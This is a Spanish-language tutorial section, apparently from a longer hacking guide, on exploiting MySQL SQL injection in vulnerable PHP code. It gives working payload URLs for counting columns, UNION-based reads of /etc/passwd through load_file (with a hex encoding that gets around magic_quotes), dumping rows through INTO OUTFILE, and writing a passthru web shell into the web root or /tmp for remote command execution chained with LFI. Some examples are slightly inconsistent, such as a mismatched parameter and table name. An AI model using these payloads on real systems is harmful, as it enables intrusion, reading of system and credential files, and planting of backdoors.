Blind SQL Injection
Los ataques de inyeccion SQL son tambien muy conocidos y muy documentados por lo que no voy a volver a escribirlos. Unicamente comentare la tecnica que nos permite leer ficheros del sistema.
Cargando ficheros locales
Ante una web vulnerable a ataques SQL (os recuerdo que este doc esta basado en MySQL), en el caso de que el usuario con el conectamos a la base de datos tenga permisos para usar el comando load_file de MySQL, podemos cargar cualquier archivo del sistema, por ejemplo, /etc/passwd.
Ejemplo:
Tabla: users(id int, user char(25), pass char(25), mail char(255));
Datos en la tabla:
1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host
2 pepelux 655ed32360580ac468cb448722a1cd4f pepelux@host
Codigo vulnerable:
<?php
$iduser = $_GET['id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);
$result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);
echo "El mail del usuario es:" . $row["mail"] . "\n";
?>
Partimos de una tabla que desconocemos, con unos campos que desconocemos y con
un MySQL que no muestra los errores por pantalla.
Llamada correcta que muestra el mail del usuario 2:
http://host/?id=2Intentamos reordenar los resultados del query mediante injeccion de SQL:
http://host/?id=2 ORDER BY 1 … Ok
http://host/?id=2 ORDER BY 2 … Ok
http://host/?id=2 ORDER BY 3 … Ok
http://host/?id=2 ORDER BY 4 … Ok
http://host/?id=2 ORDER BY 5 … Error
Porque da error en ORDER BY 5? si usamos ORDER BY 2 le estamos diciendo que nos muestre los resultados ordenador por el user, con ORDER BY 3, le decimos que ordene la salida segun la columna pass, pero como solo existen 4 columnas en esa tabla, ORDER BY 5 provoca un error.
Para que sirve esto? pues para conocer el numero de columnas que tiene la tabla sobre la que se esta realizando la query.
Modificamos la salida por pantalla (ya sabemos que hay 4 columnas):
http://host/?id=-1 UNION SELECT 1,2,3,4
Que hace esto? pues busca el usuario con ID=-1, que devolvera 0 resultados y creara una nueva fila con los datos que hemos introducido. Por que ponemos ID=-1? veamos un ejemplo practico:
Entrada:
http://host/?id=2 UNION SELECT 1,2,3,4
Salida:
2 pepelux 655ed32360580ac468cb448722a1cd4f pepelux@host
1 2 3 4
Como en pantalla muestra solo el primer resultado, la salida sera:
El mail del usuario es: pepelux@host
En caso de poner ID=-1 solo obtendremos los datos que hemos inyectado:
Entrada:
http://host/?id=-1 UNION SELECT 1,2,3,4
Salida:
1 2 3 4
http://host/?id=-1 UNION SELECT 1,2,3,load_file(’/etc/passwd’);
Esto mostraria por pantalla el contenido de /etc/passwd en el lugar donde deberia aparecer el mail del usuario (siempre que el usuario con el que accedemos a la base de datos tenga permisos para hacer un load_file).
En el caso de que las magic_quotes esten activas y no podamos escribir comillas, podemos sustituir el fichero por su equivalente en hex:
http://host/?id=-1 UNION SELECT 1,2,3,load_file(0×2f6574632f706173737764);
Una diferencia entre leer archivos usando LFI y leerlos usando inyecciones SQL
es que el usuario con el que leemos es diferente. En el primer caso usaremos un
usuario apache y en el segundo un usuario mysql. Esto no es muy importante pero
puede servir a la hora de leer archivos con ciertos permisos.
Obteniendo datos sin fuerza bruta
Supongamos la siguiente situacion con el mismo codigo vulnerable de antes:
Tabla: users(id int, user char(25), pass char(25), mail char(255));
Datos en la tabla:
| 1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
| 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
<?php
$iduser = $_GET['$id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);
$result = mysql_query("SELECT * FROM usuarios WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);
echo "El mail del usuario es:" . $row["mail"] . "\n";
?>
Podemos ver toda la fila de datos de la tabla si hacemos lo siguiente:
http://host/?id=1 outfile “/tmp/sql.txt”
http://host/?id=-1 UNION SELECT 1,2,3,load_file(’/tmp/sql.txt’);
Y veremos que el contenido de /tmp/sql.txt es:
1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host
Como podemos apreciar, hemos sacado todos los datos del user con id 1 sin necesidad de conocer el nombre de la tabla ni el de ningun campo. De la misma forma podemos sacar los datos del resto de usuarios.
El problema de este ataque es que solo podemos ver los datos de la tabla sobre la que se esta realizando la consulta.
Usando esta tecnica podemos tambien copiar ficheros del sistema en el directorio local para acceder a ellos por web, por ejemplo:
http://host/?id=-1 union select 1,load_file(”/etc/passwd”),1 into outfile
“/var/www/host.com/www/passwd”
O tambien podemos crear PHPs. Por ejemplo:
http://host/?id=-1 union select 1,”<?phpinfo()?>”,1 into outfile
“/var/www/host.com/www/phpinfo.php”
Ejecutando comandos remotamente
Hemos visto antes diversas formas de inyectar <? passthru($_GET[cmd]) ?> para poder ejecutar comandos remotamente. El principal problema que nos encontrabamos era poder inyectar en un fichero facilmente localizable. En elcaso de los logs de apache era complicado averiguar la ubicacion y tambien era posible que el usuario no tuviera acceso de lectura a estos logs.
En este caso es sencillo provocar un error que nos muestre por pantalla la ruta donde se encuenta la web. Conociendola podemos crear un PHP con el codigo que nos permita ejecutar comandos:
http://host/?id=-1 union select 1,”<?passthru($_GET[cmd])?>”,1 into outfile
“/var/www/host.com/www/cmd.php”
Luego bastaria con cargar:
http://host/cmd.php?cmd=uname -a
Si la web es ademas vulnerable a ataques de LFI podemos escribir el codigo en cualquier lugar en el que tengamos permisos de escritura. Por ejemplo en /tmp:
Primero inyectamos el codigo en un fichero en /tmp:
http://host/?id=-1 union select 1,”<? passthru($_GET[cmd]) ?>”,1,1 into
outfile “/tmp/sql.txt”
Luego usamos LFI para ejecutar comandos:
http://host/?file=../../../tmp/sql.txt&cmd=uname -a
Obteniendo una shell
Si hemos conseguido crear un fichero con nuestro codigo, la forma de obtener
una shell es la misma que he comentado antes para el LFI (punto 2.3)
Referencias
http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
http://www.securityfocus.com/bid/3473
http://dev.mysql.com/doc/